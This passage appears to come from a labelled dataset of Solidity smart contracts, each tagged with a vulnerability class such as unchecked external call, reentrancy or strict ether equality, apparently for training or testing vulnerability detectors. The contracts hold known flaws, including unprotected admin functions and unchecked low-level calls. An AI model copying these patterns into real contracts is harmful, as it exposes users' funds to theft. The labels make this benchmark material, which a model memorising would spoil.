_addr; // set the new player bool to true return (true); } else { return (false); } } //============================================================================== // _ _|_ _ _ _ _ | _ _ || _ . // (/_>< | (/_| | |(_|| (_(_|||_\ . //============================================================================== function getPlayerID(address _addr) isRegisteredGame() external returns (uint256) { determinePID(_addr); return (pIDxAddr_[_addr]); } function getPlayerName(uint256 _pID) external view returns (bytes32) { return (plyr_[_pID].name); } function getPlayerLAff(uint256 _pID) external view returns (uint256) { return (plyr_[_pID].laff); } function getPlayerAddr(uint256 _pID) external view returns (address) { return (plyr_[_pID].addr); } function getNameFee() external view returns (uint256) { return(registrationFee_); } function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given, no new affiliate code was given, or the // player tried to use their own pID as an affiliate code, lolz uint256 _affID = _affCode; if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID) { // update last affiliate plyr_[_pID].laff = _affID; } else if (_affID == _pID) { _affID = 0; } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != """" && _affCode != _name) { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } //============================================================================== // _ _ _|_ _ . // _\(/_ | |_||_) . //=============|================================================================ function addGame(address _gameAddress, string _gameNameStr) public { require(gameIDs_[_gameAddress] == 0, ""derp, that games already been registered""); gID_++; bytes32 _name = _gameNameStr.nameFilter(); gameIDs_[_gameAddress] = gID_; gameNames_[_gameAddress] = _name; games_[gID_] = PlayerBookReceiverInterface(_gameAddress); games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0); games_[gID_].receivePlayerInfo(2, plyr_[2].addr, plyr_[2].name, 0); games_[gID_].receivePlayerInfo(3, plyr_[3].addr, plyr_[3].name, 0); games_[gID_].receivePlayerInfo(4, plyr_[4].addr, plyr_[4].name, 0); } function setRegistrationFee(uint256 _fee) public { registrationFee_ = _fee; } }",./Dataset/ether strict equality (SE),3,3 43769.sol,"pragma solidity ^0.4.21; // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/ownership/Claimable.sol /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/Withdrawals.sol contract Withdrawals is Claimable { /** * @dev responsible for calling withdraw function */ address public withdrawCreator; /** * @dev if it's token transfer the tokenAddress will be 0x0000... * @param _destination receiver of token or eth * @param _amount amount of ETH or Tokens * @param _tokenAddress actual token address or 0x000.. in case of eth transfer */ event AmountWithdrawEvent( address _destination, uint _amount, address _tokenAddress ); /** * @dev fallback function only to enable ETH transfer */ function() payable public { } /** * @dev setter for the withdraw creator (responsible for calling withdraw function) */ function setWithdrawCreator(address _withdrawCreator) public onlyOwner { withdrawCreator = _withdrawCreator; } /** * @dev withdraw function to send token addresses or eth amounts to a list of receivers * @param _destinations batch list of token or eth receivers * @param _amounts batch list of values of eth or tokens * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address */ function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); // itterate in receivers for (uint i = 0; i < _destinations.length; i++) { address tokenAddress = _tokenAddresses[i]; uint amount = _amounts[i]; address destination = _destinations[i]; // eth transfer if (tokenAddress == address(0)) { if (this.balance < amount) { continue; } if (!destination.call.gas(70000).value(amount)()) { continue; } }else { // erc 20 transfer if (ERC20(tokenAddress).balanceOf(this) < amount) { continue; } ERC20(tokenAddress).transfer(destination, amount); } // emit event in both cases emit AmountWithdrawEvent(destination, amount, tokenAddress); } } modifier onlyOwnerOrWithdrawCreator() { require(msg.sender == withdrawCreator || msg.sender == owner); _; } }",./Dataset/unchecked external call (UC),7,7 1430.sol,"pragma solidity ^0.4.24; contract ERC { function balanceOf (address) public view returns (uint256); function allowance (address, address) public view returns (uint256); function transfer (address, uint256) public returns (bool); function transferFrom (address, address, uint256) public returns (bool); function transferAndCall(address, uint256, bytes) public payable returns (bool); function approve (address, uint256) public returns (bool); } contract FsTKerWallet { string constant public walletVersion = ""v1.0.0""; ERC public FST; address public owner; bytes32 public secretHash; uint256 public sn; modifier onlyOwner { require(msg.sender == owner); _; } constructor (ERC _FST, bytes32 _secretHash, uint256 _sn) public { FST = _FST; secretHash = _secretHash; sn = _sn; } function getFSTBalance () public view returns (uint256) { return FST.balanceOf(address(this)); } function getETHBalance () public view returns (uint256) { return address(this).balance; } function getERCBalance (ERC erc) public view returns (uint256) { return erc.balanceOf(address(this)); } function transferETH (address _to, uint256 _value) onlyOwner public returns (bool) { _to.transfer(_value); return true; } function transferMoreETH (address _to, uint256 _value) onlyOwner payable public returns (bool) { _to.transfer(_value); return true; } function transferFST (address _to, uint256 _value) onlyOwner public returns (bool) { return FST.transfer(_to, _value); } function transferERC (ERC erc, address _to, uint256 _value) onlyOwner public returns (bool) { return erc.transfer(_to, _value); } function transferFromFST (address _from, address _to, uint256 _value) onlyOwner public returns (bool) { return FST.transferFrom(_from, _to, _value); } function transferFromERC (ERC erc, address _from, address _to, uint256 _value) onlyOwner public returns (bool) { return erc.transferFrom(_from, _to, _value); } function transferAndCallFST (address _to, uint256 _value, bytes _data) onlyOwner payable public returns (bool) { require(FST.transferAndCall.value(msg.value)(_to, _value, _data)); return true; } function transferAndCallERC (ERC erc, address _to, uint256 _value, bytes _data) onlyOwner payable public returns (bool) { require(erc.transferAndCall.value(msg.value)(_to, _value, _data)); return true; } function approveFST (address _spender, uint256 _value) onlyOwner public returns (bool) { return FST.approve(_spender, _value); } function approveERC (ERC erc, address _spender, uint256 _value) onlyOwner public returns (bool) { return erc.approve(_spender, _value); } function recoverAndSetSecretHash (string _secret, bytes32 _newSecretHash) public returns (bool) { require(_newSecretHash != bytes32(0)); require(keccak256(abi.encodePacked(_secret)) == secretHash); owner = msg.sender; secretHash = _newSecretHash; return true; } function setFST (ERC _FST) onlyOwner public returns (bool) { require(address(_FST) != address(this) && address(_FST) != address(0x0)); FST = _FST; return true; } function callContract(address to, bytes data) onlyOwner public payable returns (bool) { require(to.call.value(msg.value)(data)); return true; } function () external payable {} }",./Dataset/unchecked external call (UC),7,7 33222.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 10000000; // Give the creator all initial tokens (100000 for example) totalSupply = 10000000; // Update total supply (100000 for example) name = ""MERGE""; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = ""MGE""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 35467.sol,"pragma solidity ^0.4.17; // /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016 Oraclize LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ""Software""), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id); function getPrice(string _datasource) returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); function useCoupon(string _coupon); function setProofType(byte _proofType); function setConfig(bytes32 _config); function setCustomGasPrice(uint _gasPrice); function randomDS_getSessionPubKeyHash() returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName(""eth_mainnet""); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName(""eth_ropsten3""); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName(""eth_kovan""); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName(""eth_rinkeby""); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) { } function oraclize_useCoupon(string code) oraclizeAPI internal { oraclize.useCoupon(code); } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 